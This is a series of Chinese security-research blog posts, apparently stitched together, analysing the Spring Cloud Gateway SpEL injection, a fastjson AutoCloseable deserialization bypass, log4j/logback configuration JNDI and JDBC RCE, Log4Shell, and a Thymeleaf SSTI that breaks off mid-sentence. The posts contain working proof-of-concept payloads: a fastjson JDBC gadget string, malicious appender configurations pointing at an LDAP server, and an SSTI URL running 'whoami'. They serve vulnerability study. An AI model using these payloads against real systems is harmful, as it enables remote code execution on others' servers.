接口的实现类有哪些：可以看到有很多，但是我们要找的是与AddResponseHeader过滤器相关的类，AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#AddResponseHeaderGatewayFilterFactory，因此根据模块名我们可以直接确定位置：逐一查看会发现：AddResponseHeaderGatewayFilterFactory 继承于 AbstractNameValueGatewayFilterFactoryAbstractNameValueGatewayFilterFactory 继承于 AbstractGatewayFilterFactoryAbstractGatewayFilterFactory 实现了 GatewayFilterFactory 接口GatewayFilterFactory 接口继承于 ShortcutConfigurable因此当从 AddResponseHeaderGatewayFilterFactory 传入的值进行计算（getValue()）的时候，会逐一向上调用对应的方法，直到进入带有 SpEL 表达式解析器的位置进行最后的解析，也从而触发了SpEL表达式注入漏洞。最后我们也可以直接进入 AddResponseHeaderGatewayFilterFactory 类回顾看看：public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory { @Override public GatewayFilter apply(NameValueConfig config) { return new GatewayFilter() { @Override public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) { String value = ServerWebExchangeUtils.expand(exchange, config.getValue()); exchange.getResponse().getHeaders().add(config.getName(), value); return chain.filter(exchange); } @Override public String toString() { return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this) .append(config.getName(), config.getValue()).toString(); } }; } }可以看到，首先在apply方法中传入了NameValueConfig类型的config，点进去可以看到NameValueConfig类型有两个值，并且不能为空：可以看到，NameValueConfig 在AbstractNameValueGatewayFilterFactory中，AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类，在父类中进行了getValue()操作，并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果：0x04 漏洞修复由于是SpEL表达式注入漏洞，而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式，解析表达式的方法有两个：SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述，将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean，然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext中：此外，官方还给了建议：如果不需要Gateway actuator的endpoint功能，就关了它吧，如果需要，那么就利用 Spring Security 对其进行保护，具体的保护方式可以参考：https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security0x05 写在最后这个漏洞的原理还是比较清晰的，可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析，尝试挖掘新的漏洞，果然，成功是留给有心人的呀！在这里提醒一下，在实际环境中，如果由于某种原因删除不起作用，有可能会导致刷新请求失败，那么就会有可能会导致站点出现问题，所以在实际测试的过程中，建议别乱搞，不然就要重启站点了。最后，这个漏洞像不像是官方提供的一种内存马？（hhhhhhhh文笔有限，如果文章有错误，欢迎师傅们指正PS：再给陈师傅星球打一波广告0x06 参考https://juejin.cn/post/6844903639840980999https://blog.csdn.net/qq_38233650/article/details/98038225https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.mdhttps://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
去年写的文章，没发出来，给公众号增加点内容，也留点笔记写在前面自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来，其就成为了安全人员中的重 点研究对象，即使后来 fastjson 为了安全设置了checkAutoType 防御机制，也依旧没能完全杜 绝新的漏洞产生，结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题，来看看这个漏洞。Fastjson的两个机制fastjson中产生漏洞的根本原因在于其 autoType 机制，以及针对于 autoType 机制做的 checkAutoType 检测防御机制，先来具体看看这两个机制。Autotype首先来谈谈为什么要有autotype这个机制 功能来源于需求，这是在开发过程中的准则之一，没有人会去做一个没有需求的功能，在fastjson中亦是如此。当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候，如果xxx是一个抽象 类或接口，那么我们得到的结果会是NULL，也就是说我们没有办法去指定一个抽象类或接 口，只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现， 那么需求就来了，如何实现fasjton对多态的支持?是的，fastjson给了我们答案——autotype 机制。在fastjson中，当要将具体的实现类解析为json字符串的同时，开发者可以为其指定 SerializerFeature，然后通过添加 SerializerFeature.WriteClassName 的方式，使得在生成的 json字符串中，添加序列化信息(写入类型信息)。举个例子:如果现在有一个抽象类为 abstractClass_A，有一个实现类为class_B，当开发者要将class_B要 解析成为json字符串的时候，就可以添加 SerializerFeature，如下所示:可以看到，此时解析成功的json字符串内容如下：{ "@type":"testAutoType$class_B", "str":"panda"}会自动携带一个 @type 的属性，这个属性指定了序列化的类之后当开发者想要直接使用抽象类A，就可以通过反序列化解析字符串，从而得到具体的实现类checkAutoTypecheckAutoType是 FastJson 在 1.2.25 以及之后的版本中，为了防止 autoType 这一机制带来的 安全隐患，增加的检测防御机制，这是一个对于 @type 属性进行白名单+黑名单的限制机制早期版本的checkAutoType存在一些比较低级的绕过方法，如加上L开头;结尾、双写LL绕过 等，直到1.2.48版本后，checkAutoType 变得成熟，黑名单也逐渐完善其具体逻辑，可以用《How i use json deserialization》议题的一张图片概括:checkAutoType首先会对传入的typeName进行3项检测:是否是白名单中的类是否在反序列化cache中(在mappings列表)类有JSONType注解(如:fastjson.annotation.JSONType)如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果没有满足其中的一个条件，那么会进入另一个判断:传入的typeName是否在黑名单中是否继承自RowSet、DataSource、ClassLoader等类如果满足上述条件之一，那么直接抛出错误 如果都不满足，那么会进行如下判断:expectClass不为NULL、Object、Serializable、Closeable等类型传入的typeName类继承于expctClass如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果不满足，那么会经过autoTypeSupport的判断，autoTypeSupport主要用来打开autotype功能，默认情况下是false，抛出错误，如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache漏洞分析实际上经过上面的分析，我们直到如果想要通过checkAutoType的检验，有以下几种方法:传入的类在白名单中开启了autotype(autoTypeSupport is true)使用了JSONType注解(如:fastjson.annotation.JSONType)某些期望类 (继承于expectClass)要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)对于第一、第二个方式我们可以不用考虑，因为白名单的类一般都是安全类、autotype默认 是false，第三个也不用考虑，这个是开发者才可以用于指定的，因此如果想要绕过 checkAutoType 机制，只有以下两条路可以走:要反序列化的类在cache中 (TypeUtils.mappings列表中有 @type 指定的类)某些期望类 (继承于expectClass)首先来看看第一条路fastjson的cache，也就是TypeUtils.mappings列表，实际上在 fastjson.util.TypeUtils#addBaseClassMappings() 中被初始化可以看到，其会将一些基本类型的类预加载到TypeUtils.mappings列表，并且这些在 TypeUtils.mappings列表中的基础类都有着自己的反序列化器(Deserializer):所以除非能够通过某种方式将cache加入到mapping中，否则这种方式是没有办法利用的，而 “通过某种方式将cache加入到mapping中”实际上已经出现过利用方式类——在1.2.47版本中 由于cache值默认为ture导致绕过了checkAutoType的检测那么这条路实际上很难实现(不说断绝的原因是或许有未知的一些机制或方法能够将目标类 加载到cache mapping中)所以，来看看第二条路checkAutoType(String typeName, Class<?> expectClass, int features)所谓的期望类(expectClass)指的就是符合checkAutoType中的第二个参数的类那么有哪些类继承类期望类呢?上文中也提到了，必须要满足:if (expectClass == null) { expectClassFlag = false; } else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) { expectClassFlag = true; }else{ expectClassFlag = false; }此外，继承的期望类还不能在黑名单里首先来看看期望类有哪些:https://github.com/alibaba/fastjson/blob/3b370ac07cef990eb0a10eeeb6388b2b91feada8/src/main/java/com/alibaba/fastjson/util/TypeUtils.java然后看看fastjson的黑名单 https://github.com/LeadroyaL/fastjson-blacklist在fastjson 1.2.68及以前的黑名单里，虽然包括了大部分常用的父接口和父类，但唯独少了 java.lang.AutoCloseabl和java.util.BitSet所以就有了以下流程:所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:继承于java.lang.AutoCloseabl或java.util.BitSet不在fastjson的黑名单类中其父类和父类接口不在黑名单中最后一个限制导致我们不能直接利用fastjson去实现RCE的目的，因为我们常常用来搭载命令 执行的类通常继承于ClassLoader、DataSource、RowSet 类，这些类都在黑名单中所以我们找的typeName又多了新的条件:能够导致RCE、SSRF或者文件读写的类《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:Mysql RCEApache commons io read and write filesJetty SSRFApachexbean-reflectRCE......议题里作者还给了一些payload和具体的链，这里的漏洞复现我们以 Mysql RCE为例漏洞复现首先打开faker mysql然后运行以下代码:import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) { String serializedStr = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3306,\"ur l\":\"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"databaseT oConnectTo\":\"test\",\"info\": {\"@type\":\"java.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"yso_URLDNS_http://apwaty.dnslog.cn\",\"PORT.1\":\ "3306\",\"HOST.1\":\"127.0.0.1\",\"NUM_HOSTS\":\"1\",\"HOST\":\"127.0.0.1\",\"DBNAME\":\"test\"}}"; Object obj1 = JSON.parse(serializedStr); } } ​即可完成反序列化攻击:漏洞修复修复方式简单粗暴，将java.lang.Runnable，java.lang.Readable和java.lang.AutoCloseable加 入了黑名单并且从这个版本(1.2.68)开始，Fastjson 引入了safeMode功能，safeMode可以用来控制关 闭反序列化功能，开启后禁止反序列化，并且会直接抛出异常，彻底解决了反序列化造成的问题。总结这个漏洞的挖掘思路可以用两个字总结——细心 漏洞的作者梳理了checkAutoType绕过的条件，然后根据情况一条一条判断达到这个条件的可能性 对于黑名单和expectClass类的列表进行了自动化的分析，然后找到了黑名单中没有的类，并且可以利用该类的继承类达到RCE的效果 作者对“继承”概念的定义和细化非常值得学习，此外其自动化的分析方式也是我们在安全研究中必须要掌握的技能之一，这能使得我们的研究事半功倍 此外，我也在考虑一个问题，为什么在出现漏洞如此频繁的功能上，fastjson不考虑“切割”掉autotype机制呢?fastjson官方github仓库的issus区，有一个讨论可以解答这个问题 :https://github.com/alibaba/fastjson/issues/3218个人观点:被市场抛弃的原因往往不是漏洞的产生，而是需求没被满足或者满足不了需求参考https://www.blackhat.com/us-21/briefings/schedule/index.html#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815
0x01 写在前面对 log4j2 漏洞的后续研究中，发现一些有趣的东西，记录分享一下0x02 log4j 真的在任何情况不存在 JNDI注入吗？首先提出一个问题，log4j 真的在任何情况不存在 JNDI注入吗？答案是否定的。翻阅 Log4j2 的 pull request 发现一个有意思的对话：有人提出实际上 log4j 和 log4j2 一样易受攻击的，只不过与 log4j2 相比，Log4j 的攻击向量“更安全”因为 Log4j 的攻击入口点是其配置文件，而 log4j2 的攻击入口点是用户的输入那么实际上如何呢？经过我简单测试，发现修改 log4j 的配置文件确实会导致漏洞的产生，但要求要比pull reques中所说的更苛刻。案例1 - log4j 配置文件中 JMSAppender 的 RCE首先在 maven 中添加以下依赖：<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-broker</artifactId> <version>5.16.3</version> </dependency> </dependencies>然后在resource 目录下新建 log4j.properties 文件，内容如下：log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd最后新建 Log4jJMSAppenderTest.java 文件，内容如下：import org.apache.log4j.Logger; import javax.naming.NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会自动加载 Log4j 的配置文件，如果不能自动加载可以取消注释下行代码 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error("error"); } }可以看到，项目的所用到的主要依赖是 log4j 1.2.17 版本，然后为了满足条件要求（后文会说具体什么条件），又引入了最新版的 activemq 依赖。然后如果直接运行 main 函数，可以直接触发 RCE：原理很简单，log4j 有一个名为Appenders的功能，Appender 通常只负责将事件数据写入目标指定的区域， 比如数据库、JMS 代理等当检测到log4j.properties配置文件中存在指定的 Appender 时，会自动进入相应的功能逻辑如，假设配置了log4j.appender.file=org.apache.log4j.FileAppender，那么会进入FileAppender.java 中的 activateOptions 方法配置了log4j.appender.stdout=org.apache.log4j.ConsoleAppender，那么会进入ConsoleAppender.java 中的activateOptions方法上文中配置的是log4j.appender.jms=org.apache.log4j.net.JMSAppender ，会进入JMSAppender.java中的activateOptions方法我们可以在该方法打个断点，debug 就可以看到其调用的是 lookup 方法：然后在 ctx.lookup(name)中传入我们指定的恶意 LDAP 服务地址，从而触发 RCE这里虽然可以实现了 RCE，但实际上你可以发现，必须要有一个支持 jms 代理的类（org.apache.activemq.jndi.ActiveMQInitialContextFactory ）才可以，否则是会报错的，如果实际业务代码或引用的包中没有 jms 代理类，就显得就十分鸡肋+苛刻了那么可利用的仅仅是 JMSAppender 吗？案例 2 - log4j 配置文件中 JDBC 的 RCE在 log4j 中，除了 JMSAppender 配置项外，还有很多 Appender，JDBCAppender就是其一。同样的，在 resources 目录下创建log4j.properties文件，内容如下：log4j.rootLogger=DEBUG,database log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender #数据库地址 log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor log4j.appender.database.driver=com.mysql.jdbc.Driver log4j.appender.database.user=test log4j.appender.database.password=111111 log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n') #log4j.appender.database.layout=org.apache.log4j.PatternLayout 为了方便测试 JDBC反序列化漏洞，所以maven 中我们新增了其他依赖，具体如下：<dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency>最后再新建 test.java 文件，内容如下： import org.apache.log4j.Logger; public class test { public static void main(String[] args) { Logger logger = Logger.getLogger(test.class); logger.error("error"); } } 运行main函数，直接触发 RCE：原理和JMSAppender比较类似，同样是那么会进入JDBCAppender.java 中，只不过触发的方法是getConnection()，后续就是我们比较熟知的 JDBC 反序列漏洞流程了这里提到的仅仅是 log4j 的1.x 版本，实际上 log4j 2.15.0 同样可以实现上述操作在能够控制配置文件的情况下，可以不用再花心思去绕过 lookup 的白名单和各种限制，直接采用类似于上面的方式实现 RCE，比如三梦师傅之前提到的：<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern> <pattern>${payload}</pattern>当然，总体来看，这种修改配置文件的方式还是很鸡肋的，实际利用有限，只是适用于特殊场景，此处仅作技术性探讨0x03 logback 的鸡肋 RCE提到 log 日志记录，除了 log4j 外，还有就是 logback，logbakc和log4j是 同一个人写的，因此实际上我想看看 logback 中是否存在类似问题并且由于 logback 是 springboot 的默认组件，如果同样存在类似问题，那么可能遇到这种场景的机会会加大首先 看的是 JMSAppender，遗憾的是，在 logback 的 1.2.2版本后，就移除了 JMSTopicAppender 但幸运的是 ，在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppenderDBAppender 中有一个名为ConnectionSource的接口，该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection 的 logback 类获取 JDBC 连接，目前有三种实现，分别为： DriverManagerConnectionSource 、DataSourceConnectionSource与 JNDIConnectionSource。这三种实现每一种都可以用来实现 RCE。DriverManagerConnectionSource 和 DataSourceConnectionSource 比较类似，都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。首先在 resource 目录下新建 logback-spring.xml ，内容如下<configuration> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource"> <driverClass>com.mysql.jdbc.Driver</driverClass> <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url> <user>username</user> <password>password</password> </connectionSource> </appender> <root level="DEBUG" > <appender-ref ref="DB" /> </root> </configuration>然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖，如下：<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency>然后直接运行SpringApplication.run()所在方法，即可触发漏洞：除上述两种，还有 JNDIConnectionSource 方法，JNDIConnectionSource 是 logback 自带的方法，从名字就可以看出来，它通过 JNDI 获取 javax.sql.DataSource，然后再获取 java.sql.Connection 实例同样的，对于我们来说，这种方式实现 RCE 更方便，完全不需要其他的依赖，测试如下：在 resource 目录下新建 logback-spring.xml ，内容如下<configuration debug="true"> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource"> <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation> </connectionSource> </appender> <root level="DEBUG"> <appender-ref ref="DB"/> </root> </configuration>同样的，直接运行SpringApplication.run()所在方法，即可触发漏洞：实际上跟踪一下可以发现，最终会进入到JNDIConnectionSource.java的getConnection方法，如果dataSource 为空，那么就令dataSource = lookupDataSource();然后在lookupDataSource() 中触发 lookup:不过这里需要注意的是，JNDIConnectionSource类是通过无参构造函数获取 javax.naming.InitialContext，这种方式在 J2EE 环境通常可以行得通，但是在 J2EE 环境之外，需要额外提供一个 jndi.properties 的配置文件才可以。实际上除了上述方式，还有一种配置不借助 DBAppender 也可以直接实现 RCE，配置如下：<configuration> <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" /> <root level="DEBUG"> <appender-ref ref="CONSOLE" /> </root> </configuration>运行项目即可实现 RCE：同样跟踪可以发现，是在InsertFromJNDIAction.java的begin方法中调用了 JNDIUtil.lookup 方法，从而触发漏洞：当然，还有 JMX 同样可以实现RCE，原理大致相同，这里不在赘述0x04 写在最后上面的方式确实比较鸡肋，正如 pull request 那里写的：如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。但还是有可行的场景的， 通过查阅资料我发现，logback配置文件中有个特色属性为 scan，只要配置文件中配置了 scan 属性，那么系统会启动一个scan task监控配置文件的变动，如果发生变化，那么就在配置文件变更时的自动加载新的配置文件，具体场景发现已经有人做了实验，可以参考：https://xz.aliyun.com/t/7351当然，可能在绝大多数情况下这些方式都是没用的，但是，请尽情的发挥你的想象，思考可能的攻击场景吧0x05 参考https://github.com/apache/logging-log4j2/pull/608https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemqhttps://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders
0x01 写在前面2021 年 12 月 9 号注定是一个不眠之夜，著名的Apache Log4j 项目被爆存在远程代码执行漏洞，且利用简单，影响危害巨大，光是引入了 log4j2 依赖的组件都是数不清，更别提项目本身可能存在的风险了，如下图所示，mvnrepository搜索引用了 log4j-core version 2.14.1的项目就 十几页了：本文就来简单分析一下该漏洞的原理。0x02 影响范围引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件0x03 漏洞分析根据官方的修订信息：https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues可以明确知道，是通过 jndi 中 LDAP 注入的方式实现了 RCE，然后查看其补丁的更改记录：可以发现对lookup函数进行了修改判断知道了漏洞类型，那么就好入手了，首先翻阅官方文档中关于lookup的说明：lookup提供了一种在任意位置向 Log4j2 配置添加值的方法，是实现StrLookup接口的特殊类型的插件 ，查看官方文档发现log4j2 支持的方法有很多：总计有：base64、data、ctx、main、env、sys、sd、java、marker、jndi、jvmrunargs、map、bundle、log4j由于这里主要说明的是关于 JNDI lookup 的用法，其他的不再赘述。关于 JNDI lookup官方文档有说明：JndiLookup 允许通过 JNDI 检索变量，然后给了示例：<File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout> </File>实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下：${jndi:JNDIContent}既然明确了lookup是触发漏洞的点，并且找到了可以触发 lookup的方法 ，那么就可以找入口点，只要找到入口点，然后传入 jndi 调用 ldap 的方式，就能够实现 RCE。那么，哪一个入口点可以传入${jndi:JNDIContent}呢？没错了，就是LogManager.getLogger().xxxx()方法在log4j2中，共有8 个日志级别，可以通过LogManager.getLogger()调用记录日志的方法如下：LogManager.getLogger().error() LogManager.getLogger().fatal() LogManager.getLogger().trace() LogManager.getLogger().traceExit() LogManager.getLogger().traceEntry() LogManager.getLogger().info() LogManager.getLogger().warn() LogManager.getLogger().debug() LogManager.getLogger().log() LogManager.getLogger().printf()上述列表中，error()和fatal()方法可默认触发漏洞，其余的方法需要配置日志级别才可以触发漏洞。因为在logIfEnabled方法中，对当前日志等级进行了一次判断：只有当当前事件的日志等级大于等于设置的日志等级时，才会符合条件，进入logMessage()方法知道这些基本信息后，就可以进一步了解漏洞的触发原理了。测试 case 如下：public class log4j { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers(); Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers(); Collection<org.apache.logging.log4j.core.Logger> allConfig = current; allConfig.addAll(notcurrent); for (org.apache.logging.log4j.core.Logger log:allConfig){ log.setLevel(Level.ALL); } logger.error(Level.ALL,"payload"); // logger.warn("payload"); // logger.info("payload"); // logger.debug("payload"); // logger.traceExit("payload"); // logger.trace("payload"); // logger.fatal("payload"); // logger.printf(Level.ALL,"payload"); // logger.traceEntry("payload"); // logger.log(Level.ALL,"payload"); } }由于这些调用方法触发漏洞的原理都是一样的，所以本文就以 error 举例说明。查看 error 的类继承关系可以发现，实际上会调用AbstractLogger.java中的public void error()方法：在该方法中会调用logIfEnabled判断是否符合日志记录的等级要求，如果符合，那么会进行logMessage操作：后续不关键调用路径如下：logMessage ----> logMessageSafely ----> logMessageTrackRecursion ----> tryLogMessage ----> log ----> DefaultReliabilityStrategy.log ----> loggerConfig.log ----> processLogEvent ----> callAppenders----> tryCallAppender ----> append ----> tryAppend ----> directEncodeEvent ----> encode ----> toText ---->toSerializable ---->format----> PatternFormatter.format第一个关键点在PatternFormatter.java中的 format方法：如果检测到$字符后跟了一个{字符，那么会对直到}中间的内容进行解析并replacereplace --> substitute --> StrSubstitutor.substitute --> resolveVariable --> Interpolator.lookup在Interpolator.lookup方法中，首先会获取字符串的前缀值：如果匹配到内置方法，那么就进入对应的处理方法，这里是 JNDI 方法，那么就会由JndiLookup类进一步处理：最终加载由攻击者传入的LDAP服务端地址，然后返回一个恶意的JNDI Reference对象，触发漏洞，实现 RCE。0x04 漏洞复现0x05 写在最后log4j2涉及的组件之多、牵扯的范围之广，造成的结果，恐怕是漏洞发现者或者是某个公开 poc 的安全公众号都始料未及的。其实这个漏洞带给我们的不仅仅是一个新的吃饭技能，更多的是一些思考：第一，安全发展至今，为什么一个 java底层依赖出现漏洞，却导致国内所有大厂全军覆没？虽然个别厂商提前修复，但同样说明了一件事，供应链级别的0day攻击，依旧是无法第一时间防御的。是否存在一种新的机制或方案能够防御供应链级别的0day攻击？第二，log4j2 项目引入JNDI lookup 已有 7 年之久，但是应用范围如此之广、利用复杂难度之低的漏洞，长达 7 年未被发现，实在有些惭愧（更惭愧的是官方文档还有 jndilookp 的使用说明）第三，以后挖0day思路真如 skay 说的一样加一：find *.jar => add as library => shift+shift => find log4j => RCE实际上不仅是 log4j，通常这也是一个挖掘组件依赖漏洞的一种思路第四参考https://logging.apache.org/log4j/2.x/manual/lookups.htmlhttps://github.com/apache/logging-log4j2/pull/608/commits/755e2c9d57f0517a73d16bfcaed93cc91969bdee
0x01 写在前面前段时间补上了迟迟没有写的 文件包含漏洞原理与实际案例介绍一文，在其中就提到了 Thymeleaf SSTI 漏洞，昨天在赛博群里三梦师傅扔了一个随手挖的 CVE——Thymeleaf SSTI Bypass，想着之前项目的代码还没清理，一起分析来看看0x02 Thymeleaf SSTIThymeleaf 是与 java 配合使用的一款服务端模板引擎，也是 Spring 官方支持的一款服务端模板引擎。而 SSTI 最初是由 James Kettle 提出研究，Emilio Pinna 对他的研究进行了补充，不过这些作者都没有对 Thymeleaf 进行 SSTI 相关的漏洞研究工作，后来 Aleksei Tiurin 在 ACUNETIX 的官方博客上发表了关于 Thymeleaf SSTI 的文章，因此​ Thymeleaf SSTI 逐渐被安全研究者关注。为了更方便读者理解这个 Bypass，因此在这里简单说一遍一些基础性的内容，如果了解的，可以直接跳到 0x03 的内容。Thymeleaf 表达式可以有以下类型：${...}：变量表达式 —— 通常在实际应用，一般是OGNL表达式或者是 Spring EL，如果集成了Spring的话，可以在上下文变量（context variables ）中执行*{...}: 选择表达式 —— 类似于变量表达式，区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。#{...}: Message (i18n) 表达式 —— 允许从外部源（比如.properties文件）检索特定于语言环境的消息@{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径（URL重写）。~{...}：片段表达式 —— Thymeleaf 3.x 版本新增的内容，分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式，片段可以被复制，或者作为参数传递给其他模板等等实际上，Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式，我们知道片段表达式语法如下：~{templatename::selector}，会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment如有一个 html 文件的代码如下： © 2021 ThreeDream yyds 然后在另一template中可以通过片段表达式引用该片段： th:insert和th:replace:插入片段是比较常见的用法~{templatename}，引用整个templatename模版文件作为fragment这个也比较好理解，不做详细举例~{::selector} 或 ~{this::selector}，引用来自同一模版文件名为selector的fragmnt在这里，selector可以是通过th:fragment定义的片段，也可以是类选择器、ID选择器等。当~{}片段表达式中出现::，那么 ::后需要有值（也就是selector）在了解这些内容后，我们就可以正式来看这个漏洞是怎么一回事了。首先，同样的，我们拿一个常见的例子：@GetMapping("/admin") public String path(@RequestParam String language) { return "language/" + language + "/admin"; }这是 SpringBoot 项目中某个控制器的部分代码片段，thymeleaf 的目录如下：从代码逻辑中基本上可以判断，这实际上是一个语言界面选择的功能，如果是中文阅读习惯者，那么会令language参数为cn，如果是英文阅读习惯者，那么会令language参数为en，代码逻辑本身实际上是没有什么问题的，但是这里采用的是 thymeleaf 模板，就出现了问题。在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后，Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板，在寻找的过程中，会将传入的参数当成SpEL表达式执行，从而导致了远程代码执行漏洞。thymeleaf 渲染的流程如下：createView() 根据视图名创建对应的ViewrenderFragment() 根据视图名解析模板名称所以可以跟进renderFragment()来看看如何解析模板名称的：核心代码我复制了出来： protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { String templateName; Set<String> markupSelectors, processMarkupSelectors; ServletContext servletContext = getServletContext(); String viewTemplateName = getTemplateName(); ISpringTemplateEngine viewTemplateEngine = getTemplateEngine(); ... if (!viewTemplateName.contains("::")) { templateName = viewTemplateName; markupSelectors = null; } else { IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); FragmentExpression fragmentExpression; try { fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); } catch (TemplateProcessingException var25) { throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } ...可以发现，这里将模板名称(viewTemplateName) 进行拼接 "~{" + viewTemplateName + "}"，然后使用parseExpression进行解析，继续跟进parseExpression就可以发现会通过EngineEventUtils.computeAttributeExpression将属性计算成表达式：然后再进行预处理（预处理是在正常表达式之前完成的执行，可以理解成预处理就解析并执了行表达式），最终执行了表达式。效果如下：http://127.0.0.1:8080/admin?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k这个 POC 